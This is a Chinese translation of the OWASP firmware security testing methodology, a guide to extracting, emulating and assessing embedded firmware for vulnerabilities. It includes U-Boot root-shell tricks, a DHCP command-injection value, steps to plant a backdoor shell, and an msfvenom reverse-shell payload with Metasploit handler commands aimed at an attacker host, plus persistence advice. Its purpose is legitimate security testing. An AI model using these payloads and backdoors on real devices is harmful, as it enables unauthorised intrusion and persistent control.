OWASP固件安全性測試指南


OWASP固件安全性測試指南

固件安全評估,英文名稱 firmware security testing methodology 簡稱 FSTM。該指導方法主要是為了安全研究人員、軟件開發人員、顧問、愛好者和信息安全專業人員進行固件安全評估。

前景

我們基於 FSTM 進行測試流程如下:

id

階段

描述

1

信息收集

固件的相關技術文檔的詳細使用說明

2

獲取固件

使用本文中介紹的多種辦法獲取固件

3

分析固件

固件的功能、特性

4

提取文件系統

從固件中獲取文件系統

5

分析文件系統內容

靜態分析提取的文件系統的配置文件和二進制文件中的漏洞

6

仿真固件

模擬固件文件和組件

7

動態分析

根據固件和應用程序接口進行動態測試

8

運行時分析

在設備運行時分析編譯的二進制文件

9

二進制利用

利用上述手段發現的漏洞實現命令執行

0x01:信息搜集

可搜集與固件相關如下基礎信息:

  • 基於的CPU架構
  • 操作系統平台
  • 引導程序配置
  • 硬件原理圖
  • 數據表
  • 代碼行估計
  • 源代碼存儲庫位置
  • 第三方組建
  • 開源許可證(GPL)
  • 變更日志
  • FCC ID
  • 設計和數據流程圖
  • 威脅建模
  • 滲透測試報告之類
  • 一些測試平台的測試(Jira、錯誤賞金平台 bugcrowd 或 hackerone )

搜集方法:

  • 利用開發團隊及其內部產品線獲取准確和最新的數據,及其項目設計原理和應用的安全設置,進而判斷出與安全風險有關的信息和某些特定功能點。
  • 開源情報( OSINT:Open source intelligence )技術手段來獲取數據

在搜集信息中遇到開源軟件的處理方式:

  • 下載開源軟件存儲庫,並根據代碼庫執行手動和自動靜態分析
  • 開源軟件有其自身的靜態分析工具 ,Example:
U-Boot Coverity Scan
U-Boot Coverity Scan Analysis
  • semmle的LGTM對Dropbear的分析:
LGTM Dropbear Alerts
LGTM Dropbear Results

獲取如上信息后便可進行粗略的威脅建模:標識出可攻擊功能點和影響范圍,方便測試時進行漏洞點的貫穿使用。

0x02:獲取固件

  • 直接從開發團隊、制造商/供應商或用戶獲取
  • 使用制造商提供的項目從頭編譯
  • 從供應商的support網站獲取
  • 從共享平台( DropboxboxGoogle drive)根據二進制文件擴展名獲取
    • 從用戶為了解決問題而上傳固件到論壇、博客,或官方評論中獲取
  • 設備更新進行中間人(MITM)獲取
  • 雲提供商存儲位置(如:AWS,全稱Amazon Web Services S3 buckets)下載構建版本
  • 通過 UARTJTAGPICit等直接從硬件中提取
  • 嗅探“硬件組件中的串行通信”中的更新服務器請求
  • 通過移動應用程序中的硬編碼接口
  • 將固件從引導加載程序(如:U-boot )轉儲到閃存或通過tftp的網絡轉儲
  • 從主板卸下閃存芯片(如:SPI )或 MCU,以進行離線分析和數據提取
    • 需要相應的芯片編輯器來存儲 flash/MCU

0x03:分析固件

獲取固件后需要分析其特征信息:固件文件類型、潛在的根文件元數據、編譯基於的平台,使用 binutils 分析過程如下:

    
    
    
            
file <bin>
strings
strings -n5 <bin>
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header

若使用上述方法未提取出有用信息,可能由於以下原因:

  • 二進制文件可能是Bare Metal
  • 二進制文件可能僅適用於帶有自定義文件系統的實時操作系統( RTOS )平台
  • 二進制文件可能是加密的

判斷二進制文件是否是加密:

0x04:提取文件系統

  • 固件:一個二進制文件的壓縮包,文件系統是其中的一個組件,存儲在二進制文件的特定偏移地址中,且有一定大小。
  • 文件系統類型:squashfs , ubifs , romfs , rootfs , jffs2 , yaffs2 , cramfs , initramfs

為了分析固件內部相關文件系統數據、未編譯代碼和設備配置,需使用以下手動和自動方法提取固件文件系統:

  • 偏移量和文件系統大小信息獲取:
    • 使用hexdump和grep等工具搜索特征信息
      • 判斷文件系統開始位置,如:Squashfs文件系統
        • 通過hexdump查找 "hsqs" 字符串,hexdump -C binary | grep -i 'hsqs'
      • 使用dd命令將從該地址開始到文件末尾的內容全部轉儲下來
        • dd if=binary bs=1 skip=92588 of=rt-n300-fs
      • 通過如上步驟,從二進制文件中獲取到文件系統,使用 unsquashfs 查看整個文件系統
  • binwalk
    • binwalk -ev <bin>,提取出的文件保存:_binaryname/filesystemtype/
    • 若是文件的標頭沒有魔術字節 ,需使用 binwalk 查找文件系統的偏移量,然后從二進制文件中分割壓縮的文件系統,最后再手動提取出來。
      • 分割
                    
                    
                    
                            
        dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs # or
        dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
      • 提取
                    
                    
                    
                            
        For squashfs:
        unsquashfs dir.squashfs
        CPIO archive files:
        cpio -ivd --no-absolute-filenames -F <bin>
        For jffs2 filesystems:
        jefferson rootfsfile.jffs2
        For ubifs filesystems with NAND flash:
        ubireader_extract_images -u UBI -s <start_offset> <bin>、ubidump.py <bin>

0x05:分析文件系統內容

手動分析

靜態分析文件系統可從如下方面入手:

  • 不安全網絡守護程序,如:telnetd(有時會偽裝成重命名二進制文件)
  • 硬編碼憑證(用戶名、密碼、API密鑰、SSH密鑰和后門變體)
  • 硬編碼的API端點和后端服務器詳細信息
  • 更新可用作入口點的服務器功能
  • 查看未編譯的代碼並啟動腳本以執行遠程代碼
  • 提取已編譯的二進制文件,使用反匯編程序脫機分析

同時,此過程中分析的結果,可為動態分析做基礎准備。

自動分析:firmwalker

firmwalker 分析內容范圍如下:

  • etc/shadow and etc/passwd
  • etc/ssl
  • 與 ssl 相關的文件,如:.pem .crt 等
  • 搜索配置文件
  • 尋找腳本文件
  • 搜索其他 .bin 文件
  • 查找 admin、password、remote、AWS key 等關鍵字
  • 搜索物聯網設備上使用的通用Web服務器
  • 搜索常見的二進制文件,如:ssh、tftp、dropbear 等
  • 搜索禁止的C函數
  • 搜索常見的易受命令注入攻擊的功能
  • 搜索URL、電子郵件、IP地址
  • ...

自動固件分析工具:firmwalkerAaron Guzman 在原生代碼基礎上添加了一些其他的檢查,可參照 firmwalker

案例:在 OWASP IOTGoat 中使用 firewalker分析

firmwalk 分析文件系統需使用絕對路徑:

./firmwalker.sh /home/embedos/firmware/_IoTGoat-rpi-2.img.extracted/squashfs-root/

分析結果如下:

分析結果存儲在 /data/ 目錄下的兩個文件:firmwalker.txtfirmwalkerappsec.txt,需手動檢查這些文件。

自動分析:FACT

FACT 固件分析比較工具包分析內容如下:

  • 標識軟件組件(如:操作系統、CPU體系結構和第三方組件)及其關聯的版本信息
  • 從映像中提取固件文件系統
  • 檢測證書和私鑰
  • 檢測CWE
  • 基於提要和簽名的漏洞檢測
  • 基於靜態行為分析
  • 固件版本和文件的比較(差異)
  • 使用QEMU對文件系統中的二進制文件進行用戶仿真
  • 緩沖區溢出防護機制 NX, DEP, ASLR, stack canaries, RELRO, and FORTIFY_SOURCE
  • REST API
  • ...

案例:在EmbedOS 中使用FACT分析

    
    
    
            
cd ~/tools/FACT_core
sudo ./start_all_installed_fact_components

瀏覽器訪問:http://127.0.0.1:5000

FACT Dashboard

將固件上傳到FACT進行分析(可以將帶有文件系統的完整固件)

FACT Upload

根據給FACT硬件資源,掃描時間會相應不同

FACT IoTGoat

FACT分析結果

FACT IoTGoat Exploit Mitigation Results

二進制文件分析:

  • 可使用工具: IDA ProGhidraHopperCapstonebinary Ninja 進行分析。
    • 使用Ghidra對二進制文件“shellback”的分析如下
Shellback Ghidra Analysis
  • 二進制文件選取及分析內容:可以選擇從 FACT 獲取的可疑內容,或針對漏洞利用點進行查找分析,如:
    • 系統調用、字符串、函數列表、易產生內存損壞,對 system() 或類似函數調用等。
  • 分析二進制文件的常見功能點
    • 是否啟用 Stack canaries(堆棧保護機制)
               
               
               
                       
      readelf -aW bin/*| grep stack_chk_fail
      mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail
    • 是否啟用 Position-independent executable (PIE) 地址無關可執行文件
      • PIE disabled
                    
                    
                    
                            
        readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'
      • PIE enabled
                    
                    
                    
                            
        readelf -h <bin> | grep 'Type:[[:space:]]*DYN'
    • DSO(dynamic shared object)動態共享目標文件
               
               
               
                       
      readelf -d <bin> | grep -q 'DEBUG'
    • Symbols 動態鏈接庫和符號
               
               
               
                       
      readelf --syms <bin>
      nm <bin>
    • 可識別的字符串
      • -el 指定 16 位寬的小端字符(如:UTF-16)
      • -eb 使用大端
      • 將任何大於 16 的 ASCII 字符串打印到 stdout
      • -t 將返回文件中字符串的偏移量
      • -tx 以十六進制格式返回,-td 以八進制和十進制表示 T-to
      • 與十六進制編輯器進行交叉引用,或字符串在文件中的位置
    • 是否啟用 Non-executable (NX) (應該是一種數據保護 DEP)
               
               
               
                       
      readelf -lW bin/<bin>| grep STACK

      判斷堆棧是否可執行,E 代表可執行:GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

               
               
               
                       
      execstack bin/*
      bin/ash
      bin/busybox
    • RELRO ( RELocation Read-Only,只讀重定位)(一種用於加強對二進制數據段的保護技術)配置
      • 完整 RELRO
                    
                    
                    
                            
        readelf -d binary | grep BIND_NOW
      • 部分 RELRO
                    
                    
                    
                            
        readelf -d binary | grep GNU_RELRO
  • 自動檢查上述二進制屬性的腳本 checksec.sh,如下示例:
    
    
    
            
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
Checksec.sh

對於 Microsoft 二進制文件(EXE、DLL),使用 PESecurity 檢查 ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow GuardHighEntropyVA

0x06:仿真固件

為了確定及驗證上面的詳細信息、線索、潛在的漏洞,必需模擬固件及其封裝的二進制文件。

如下列出仿真固件的方法:

  • 部分仿真(user mode)—仿真從固件提取的文件系統中的二進制文件:/usr/bin/shellback
  • 完整的系統仿真—完整的固件仿真和利用偽造的NVRAM啟動配置
  • 由於硬件或體系結構的依賴性,user modesystem mode 可能無法仿真固件成功。在這種情況下,可以將根文件系統或特定二進制文件傳輸到與目標固件的架構和字節序匹配的物理設備中進行測試,除了物理設備外,也可以使用與目標固件相同體系結構或字節序的預構件虛擬機。

部分仿真( user mode )

  • 獲取目標的 CPU 架構和字節序,然后選擇適當的 QEMU 仿真二進制文件
    • CPU 架構獲取:
               
               
               
                       
      binwalk -Y <bin>
      readelf -h <bin>

      el 代表: little endianeb 代表:big endian

    • 字節序的獲取:
      • 使用 binwalk 識別打包的固件二進制文件(不是提取出的文件系統中的二進制文件)
                    
                    
                    
                            
        binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
  • 確定了 CPU 的體系結構和字節序后,找適用的 QEMU 二進制文件來執行部分仿真(從文件系統中提取出的二進制文件)
    • QEMU 二進制文件通常所在目錄:/usr/local/qemu-arch/usr/bin/qemu-arch
    • 將 QEMU 二進制文件復制到提取的文件系統的根目錄中
               
               
               
                       
      cd /home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
      cp /usr/bin/qemu-arm-static .
    • 執行 ARM 二進制文件(或其他的體系結構)使用 QEMU 和 chroot 進行仿真
               
               
               
                       
      sudo chroot . ./qemu-arch <binarytoemulate>

Example:

  • busybox
    
    
    
            
sudo chroot . ./qemu-arm-static bin/busybox ls
  • shellback 開啟5515上的偵聽服務
    
    
    
            
sudo chroot . ./qemu-arm-static usr/bin/shellback

​ 使用 netcat 嘗試連接該服務

    
    
    
            
sudo lsof -i :5515
nc -nv 127.0.0.1 5515
  • MIPS CGI 二進制文件,向該文件發出POST請求
    
    
    
            
sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="POST" -E REQUEST_URI=<request_uri> -E REMOTE_ADDR=<ip_addr> -E HTTP_COOKIE=<custom_cookie> -g <port> <path to cgi binary>

通過上述手段模擬了目標二進制文件,可以使用其應用程序和網絡接口,與其進行交互。

全系統仿真( system mode )

使用自動化工具來進行固件的完整仿真

自動化工具:firmadyne、固件分析工具包、ARM-X 固件仿真框架,這些工具實質上是 QEMU 和其他環境功能 (如:nvram )的包裝器。

需注意:固件中包含不常見的壓縮文件系統或不支持的體系結構,可能需要修改這些工具

0x07:動態分析

設備在正常運行或者在仿真環境中運行中的動態測試,此階段的測試可能會由於項目和訪問級別有所差異。

分析手段:

  • 篡改引導程序配置
  • Web 和 API 測試
  • 模糊測試(網絡和應用程序服務)
  • 使用各種工具集進行的主動掃描以獲取提升的訪問權限或代碼執行
    • Burp Suite
    • OWASP ZAP
    • Commix
    • Fuzzers such as - American fuzzy loop (AFL)
    • Network and protocol fuzzers such as - Mutiny, boofuzz, and kitty
    • Nmap
    • NCrack
    • Metasploit
    • ...

嵌入式Web應用程序測試

檢查方向:

  • 診斷和故障排除頁面可能存在命令注入
  • 驗證和授權方案對整個固件中的應用程序和操作系統平台的相同框架進行驗證
  • 默認的用戶名、密碼
  • 在網頁執行目錄遍歷或文件讀取,以識別調試或測試功能
  • 在 SOAP/XML 和 API 傳輸中的輸入檢查 ,如:XSS 和 XXE
  • 跟蹤觀察應用程序中的參數查看異常點和堆棧溢出點
    • 常見的 C/C++ 漏洞、常見的嵌入式 Web 應用程序的有效負載,如:內存損壞漏洞、格式字符串缺陷、整數溢出

引導加載程序測試

修改設備的引導加載程序時,可以進行如下操作:

  • 在引導過程中加 “0”、空格、或其他標識的“魔術代碼”來獲取 shell
  • 修改配置以執行 shell 命令,如:引導參數末尾 “init=/bin/sh”
    
    
    
            
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
  • 設置一個 tftp 服務器,從本地通過網絡加載遠程圖像(前提是設備有網絡訪問權限)
    
    
    
            
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #tftp server IP
#saveenv
#reset
#ping 192.168.2.1 #check if network access is available
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
  • 使用 ubootwrite.py 編寫 uboot-image 並且安裝修改過的固件來獲取 root
  • 查看啟用的調試功能,如:詳細記錄、加載任意內核、從不受信任的來源引導
  • 使用警告:使用引腳連接主板,觀察設備啟動順序,在內核解壓縮之前,將連接主板的引腳短路或者連接到 SPI 閃存芯片上的數據引腳(DO)
  • 使用警告:使用引腳連接主板,觀察設備啟動順序,在內核解壓縮之前,在 U-boot 對 UBI 映像解壓縮時,將連接主板的引腳短路或連接到 NAND 閃存芯片的引腳 8 和 9
    • 在短接引腳之前請查看 NAND 閃存芯片的數據表
  • 使用惡意參數配置惡意 DHCP 服務器作為設備在 PXE 引導期間提取的輸入
    • 使用 Metasploit DHCP 輔助服務器,進行命令注入,比如修改參數 FILENAMEa";/bin/sh;#,來測試設備啟動過程的輸入驗證

固件完整性測試

嘗試上傳自定義固件或編譯過的二進制文件,來檢測完整性或簽名驗證漏洞。

可設置后門點:啟動腳本引用、某些鏈接、依賴不受信任的安裝位置(如:SD 卡)或用位於根文件系統外部存儲數據的 flash 的代碼時觸發。

使用以下步驟編譯在啟動中的后門 shell :

  1. 使用固件修改包(FMK:firmware-tool-kit)提取固件
  2. 確定目標固件架構和字節序
  3. 使用 Buildroot 構件交叉編譯器或使用其他適合的環境
  4. 使用交叉編譯器構件后門
  5. 將后門復制到解壓縮的固件 /usr/bin
  6. 將適當的 QEMU 二進制文件復制到固件rootfs
  7. 使用 chroot 和 QEMU 模擬后門
  8. 使用 netcat 連接后門
  9. 從 rootfs 中刪除 QEMU 二進制文件
  10. 使用FMK重新包裝修改后的固件
  11. 使用固件工具分析包( FAT )進行仿真並使用 netcat 連接到目標后門 ip、端口測試后門固件

若在動態分析后,通過操縱引導加載程序或其他的硬件安全測試手段獲得了root shell,嘗試執行預編譯惡意二進制文件(即在二進制文件中植入程序或反向 shell),可通過使用自動化的有效載荷或工具( C&C )框架進行命令執行和控制,比如使用 Metasploit 框架和 msfvenom,如下是操作步驟:

  • 確定目標固件架構和字節序
  • 使用 msfvenom 生成有效載荷,-p :payload、攻擊者ip:LHOST=、攻擊者監聽端口:LPORT=、有效載荷的文件類型:-f、結構體系:--arch、平台:--platform linux or windows、輸出文件保存:-o
    
    
    
            
msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
  • 將有效載荷傳輸到受攻擊的設備(操作舉例:本地運行Web服務器,然后使用 wget/curl 上傳到目標文件系統中),確認有效載荷有執行權限
  • 使用 Metasploit 接收反彈回的 shell 之前的設備
    
    
    
            
set payload linux/armle/meterpreter_reverse_tcp
set LHOST 192.168.1.245 #attacker host IP
set LPORT 445 #can be any unused port
set ExitOnSession false
exploit -j -z
  • 在受攻擊的設備中執行 meterpreter reverse
  • 查看 meterpreter sessions
  • 進行后滲透

最后,盡可能的在啟動腳本中設置對設備持久訪問的后門,保證重新啟動后也有設備的訪問控制權

0x08:運行時分析

設備在正常運行或在仿真環境中運行時,對正在運行的進程或二進制文件進行調試。如下是分析步驟:

  1. sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>
  2. 使用gdb-multiarch或IDA進行調試
  3. 為步驟4中的功能點設置斷點,如: memcpy, strncpy, strcmp,等
  4. 確認漏洞點,比如:通過發送較大的有效載荷來識別溢出或進程崩潰點

一些可能使用的工具:

  • gdb-multiarch
  • Peda
  • Frida
  • ptrace
  • strace
  • IDA Pro
  • Ghidra
  • Binary Ninja
  • Hopper

0x09:漏洞利用

通過上面階段的測試識別出漏洞之后,需使用PoC在真實環境中進行驗證。編寫漏洞利用代碼需要掌握低級語言(如:ASM、C/C++、shellcode 等)的編程及了解一些目標體系結構(如:MIPS、ARM、x86等)。

在遇到二進制緩解(保護)機制(eg:NX、DEP、ASLR等)時,需要其他技術進行惡意攻擊,比如:

  • 面向返回的編程:ROP(Return-oriented Programming),ROP 允許攻擊者通過鏈接目標進程或二進制代碼中現有的代碼實施惡意攻擊,利用ROP 的漏洞舉例:通過 ROP 鏈進行緩沖區溢出。可借助工具 Capstone's gadget finder或者 ROPGadget

相關方面知識可參考文檔:

固件和二進制文件分析工具

用於練習的固件項目




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM